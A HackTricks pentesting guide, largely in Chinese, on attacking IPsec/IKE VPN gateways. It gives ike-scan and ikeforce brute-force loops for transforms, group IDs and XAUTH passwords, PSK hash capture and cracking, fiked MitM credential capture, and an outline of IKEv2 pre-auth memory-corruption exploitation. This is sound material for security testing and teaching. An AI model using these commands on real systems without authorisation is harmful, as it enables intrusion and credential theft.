500/udp - Pentesting IPsec/IKE VPN
Reading time: 21 minutes
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
IPsec 被广泛认为是用于保护网络之间(LAN-to-LAN)以及从远程用户到网络网关(remote access)通信的主要技术,是企业 VPN 解决方案的基础。
两个端点之间的 security association (SA) 的建立由 IKE 管理,IKE 在 ISAKMP 的框架下运行,ISAKMP 是用于认证和密钥交换的协议。该过程分为若干阶段:
- Phase 1: 在两个端点之间创建一个安全通道。这可以通过使用 Pre-Shared Key (PSK) 或证书来实现,采用 main mode(涉及三对消息)或 aggressive mode。
- Phase 1.5: 虽非强制,但此阶段(称为 Extended Authentication Phase)通过要求用户名和密码来验证尝试连接的用户的身份。
- Phase 2: 该阶段用于协商用于通过 ESP 和 AH 保护数据的参数。它允许使用不同于 Phase 1 的算法以确保 Perfect Forward Secrecy (PFS),从而增强安全性。
默认端口: 500/udp
常见的另一个暴露端口:4500/udp(NAT Traversal)
Discover the service using nmap
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
找到一个有效的变换
IPSec 配置可能只被设置为接受一个或几个变换。一个变换是多个值的组合。每个变换 包含若干属性,比如将 DES 或 3DES 作为 加密算法,将 SHA 或 MD5 作为 完整性算法,将 pre-shared key 作为 认证类型,将 Diffie-Hellman 1 或 2 作为密钥的 分发算法,并将 28800 seconds 作为 生存期。
因此,你首先要做的是 找到一个有效的变换,这样服务器才会与你通信。为此,你可以使用工具 ike-scan。默认情况下,Ike-scan 在 main mode 下工作,并向网关发送一个带有 ISAKMP header 的数据包,该数据包包含一个单一的 proposal,其中包含八个变换。
根据响应,你可以获得有关端点的一些信息:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
如你在上一个响应中所见,有一个字段名为 AUTH,其值为 PSK。 这意味着 VPN 使用预共享密钥配置(这对 pentester 来说非常有利)。
最后一行的值也非常重要:
- 0 returned handshake; 0 returned notify: 这意味着目标 not an IPsec gateway。
- 1 returned handshake; 0 returned notify: 这意味着 目标已配置为 IPsec 并愿意执行 IKE negotiation,且你提出的一个或多个 transforms 是可接受的(一个有效的 transform 会显示在输出中)。
- 0 returned handshake; 1 returned notify: VPN gateways 会在没有任何 transforms 可接受时以 notify 消息响应(尽管有些 gateways 不会,在这种情况下应尝试进一步分析并修改提案)。
然后,在本例中我们已经有一个有效的 transformation,但如果你处于第三种情况,则需要 brute-force 一下以找到有效的 transformation:
首先你需要创建所有可能的 transformations:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
然后对每一个使用 ike-scan 进行 brute-force (这可能需要几分钟):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
如果 brute-force 没有效果,可能服务器即使对 valid transforms 也不发送 handshakes。接着,你可以尝试相同的 brute-force,但使用 aggressive mode:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
希望 一个有效的转换被回显。
你可以使用 iker.py 尝试 same attack。
你也可以使用 ikeforce 对转换进行 brute force:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
.png)
在 DH Group: 14 = 2048-bit MODP 和 15 = 3072-bit
2 = HMAC-SHA = SHA1(在本例中)。--trans 格式为 $Enc,$Hash,$Auth,$DH
Cisco 建议避免使用 DH groups 1 和 2,因为它们强度不足。专家认为,拥有大量资源的国家可以轻易破解使用这些弱群组加密的数据。实现这一点是通过一种预先准备的特殊方法来加速破解过程。尽管建立这种方法成本很高,但它允许这些强国实时读取使用弱群组(例如 1,024-bit 或更小)加密的数据。
服务器指纹识别
然后,你可以使用 ike-scan 尝试识别设备的 vendor。该工具发送一个初始提议并停止重放。随后,它会分析从服务器收到的消息与匹配响应模式之间的时间差,pentester 就可以成功对 VPN gateway 的 vendor 进行指纹识别。此外,某些 VPN servers 会在 IKE 中使用可选的 Vendor ID (VID) payload。
如有需要,指定有效的转换(使用 --trans)
如果 IKE 发现了 vendor,它会将其打印出来:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
This can be also achieve with nmap script ike-version
IKEv2 专用:WatchGuard Vendor ID 版本指纹识别
一些 IKEv2 守护进程在 IKE_SA_INIT 响应中包含非标准的 Vendor ID payload。WatchGuard Fireware OS 在 VID 中直接编码设备的版本/构建信息,从而允许单包、pre-auth 指纹识别。
- Transport: UDP/500 (and UDP/4500 for NAT-T)
- Packet: IKE_SA_INIT response contains one or more Vendor ID payloads
- WatchGuard format: 32-byte hash followed by base64 that decodes to e.g.
VN=12.11.3 BN=719894
Example raw bytes from a WatchGuard VID payload (last 12 bytes are base64):
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ=
当你有 base64 尾部时,在 shell 上快速提取:
echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894
Notes
- 这不是任何 IKEv2 RFC 的一部分。将其视作厂商的一个特有行为,用于快速识别暴露/易受攻击的 Fireware OS versions。
- 你只需要触发一个 IKE_SA_INIT 回复;不需要进行认证。
查找正确的 ID(组名)
要允许捕获 hash,你需要一个支持 Aggressive mode 的有效 transformation 和正确的 ID(组名)。你很可能不知道有效的组名,因此需要对其进行 brute-force。
为此,我建议你使用两种方法:
使用 ike-scan 对 ID 进行 Bruteforcing
首先尝试用一个伪造的 ID 发起请求以尝试收集 hash("-P"):
ike-scan -P -M -A -n fakeID <IP>
如果 没有返回 hash,那么这个 brute forcing 方法很可能可行。如果返回了某个 hash,则表示会针对伪造的 ID 返回伪造的 hash,因此这个方法对 brute-force ID 来说不可靠。例如,可能会返回一个伪造的 hash(这在现代版本中会发生):
.png)
但正如我所说,如果没有返回 hash,那么你应该使用 ike-scan 尝试对常见的 group names 进行 brute-force。
这个脚本 会尝试对可能的 ID 进行 brute-force,并返回那些能建立有效握手的 ID(这将是一个有效的 group name)。
如果你发现了特定的 transformation,请把它加入到 ike-scan 命令中。如果你发现了多个 transformation,可以添加一个新的循环来尝试它们全部(你应该全部尝试,直到其中一个正常工作)。
你可以使用 the dictionary of ikeforce 或 the one in seclists 中的常见 group names 字典来对它们进行 brute-force:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
或者使用这个 dict(它是另外两个 dict 的组合且无重复):
Bruteforcing ID with Iker
iker.py 也使用 ike-scan 来 bruteforce 可能的组名。它有自己的一套方法,基于 ike-scan 的输出来 找到 一个 有效的 ID。
Bruteforcing ID with ikeforce
ikeforce.py 是一个可以用来 brute force IDs also 的工具。该工具会 try to exploit different vulnerabilities,这些可用于 distinguish between a valid and a non-valid ID(可能有误报和漏报,这也是为什么我尽可能更倾向于使用 ike-scan 方法的原因)。
默认情况下,ikeforce 会在一开始发送一些随机 id 来检查服务器的行为并确定要使用的策略。
- 第一种方法 是通过 搜索 Cisco 系统的 Dead Peer Detection DPD 信息来 brute-force 组名(只有当组名正确时,服务器才会重放该信息)。
- 第二种方法 是 检查每次尝试所发送响应的数量,因为有时在使用正确的 id 时会发送更多的数据包。
- 第三种方法 是 在错误 ID 的响应中搜索 "INVALID-ID-INFORMATION"。
- 最后,如果服务器对这些检查没有任何响应,ikeforce 会尝试对服务器进行 brute force,并检查在发送正确的 id 时服务器是否会以某些数据包进行重放。
显然,对 id 进行 brute forcing 的目标是在拥有有效 id 时获得 PSK。之后,使用 id 和 PSK 还需要对 XAUTH 进行 brute force(如果已启用)。
如果你发现了某个特定的 transformation,请将其添加到 ikeforce 命令中。如果发现了多个 transformation,可以添加一个新的循环来尝试它们全部(应当全部尝试直到其中一个正常工作)。
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(From the book Network Security Assessment: Know Your Network): 也可以通过 sniffing the connection between the VPN client and server 来获取有效的用户名,因为包含 client ID 的第一个 aggressive mode packet 是以 in the clear 发送的
.png)
Capturing & cracking the hash
最后,如果你已经找到了 valid transformation 和 group name,并且 aggressive mode 被允许,那么你可以非常容易地抓取可破解的 hash:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
哈希将保存在 hash.txt 中。
你可以使用 psk-crack、john(使用 ikescan2john.py)和 hashcat 来 crack 该哈希:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Aggressive mode IKE 与 Pre-Shared Key (PSK) 结合,通常用于 组身份验证。该方法通过 XAuth (Extended Authentication) 进行扩展,以引入额外的 用户认证 层。此类认证通常使用 Microsoft Active Directory、RADIUS 或类似系统。
迁移到 IKEv2 时,一个显著的变化是使用 EAP (Extensible Authentication Protocol) 来替代 XAuth 进行用户认证。此变化反映了在安全通信协议中认证实践的演进。
本地网络 MitM 捕获凭据
因此你可以使用 fiked 捕获登录数据并查看是否存在任何默认用户名(你需要将 IKE 流量重定向到 fiked 以便嗅探,这可以借助 ARP spoofing 完成,more info)。Fiked 将充当 VPN 端点并会捕获 XAuth 凭据:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
另外,使用 IPSec 尝试进行 MitM 攻击并阻断所有到 port 500 的流量;如果 IPSec tunnel 无法建立,流量可能会以明文发送。
使用 ikeforce 对 XAUTH username 和 password 进行 Brute-forcing
要对 XAUTH 进行暴力破解(当你知道一个有效的组名 id 和 psk 时),你可以使用单个 username 或 username 列表,以及一个 password 列表:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
这样,ikeforce 将尝试使用每个 username:password 组合进行连接。
如果你找到了一个或多个有效的变换,就像前面的步骤一样使用它们。
使用 IPSEC VPN 进行认证
在 Kali 中,VPNC 用于建立 IPsec 隧道。配置文件 必须位于目录 /etc/vpnc/。你可以使用命令 vpnc 来启动这些配置。
下面的命令和配置演示了使用 VPNC 建立 VPN 连接的过程:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
在此配置中:
- 将
[VPN_GATEWAY_IP]替换为 VPN gateway 的实际 IP 地址。 - 将
[VPN_CONNECTION_ID]替换为 VPN 连接的标识符。 - 将
[VPN_GROUP_SECRET]替换为 VPN 的组密钥。 - 将
[VPN_USERNAME]和[VPN_PASSWORD]替换为 VPN 身份验证凭证。 [PID]表示vpnc启动时分配的进程 ID。
在配置 VPN 时,请确保用实际且安全的值替换占位符。
IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs
Modern VPN appliances often expose IKEv2 on UDP/500 (and UDP/4500 for NAT-T). A common pre-authentication attack surface is the parsing of Identification (IDi) and Certificate payloads during IKE_SA_AUTH.
High-level exploitation flow when a vulnerable IKEv2 parser exists:
- Send a valid IKE_SA_INIT to negotiate transforms and complete Diffie–Hellman.
- Follow with IKE_SA_AUTH carrying an IDi that triggers the bug (e.g., an oversized Identification copied into a fixed-size stack buffer before certificate validation).
- Resulting memory corruption can yield saved-register and return-address control.
- With NX enabled but other mitigations missing (no PIE/canaries), build a ROP chain to call mprotect on a stack page and then pivot execution to injected shellcode or to a resident interpreter (e.g., /usr/bin/python3) if no /bin/sh is available.
Example default transforms observed on some IKEv2 appliances (WatchGuard Fireware OS 12.11.3):
- SHA2-256–AES(256-bit) with DH Group 14
- SHA1–AES(256-bit) with DH Group 5
- SHA1–AES(256-bit) with DH Group 2
- SHA1–3DES with DH Group 2
实用提示
- Target both UDP/500 and UDP/4500; NAT-T servers may reply only on 4500.
- Increase receive buffer and timeouts for UDP-based scanners to avoid packet loss.
- If the service exposes custom Vendor IDs (see section above), use them to quickly fingerprint vulnerable versions before attempting any exploit traffic.
Reference Material
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKEport:4500 "UDP"udp port:500,4500 "WatchGuard"
References
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks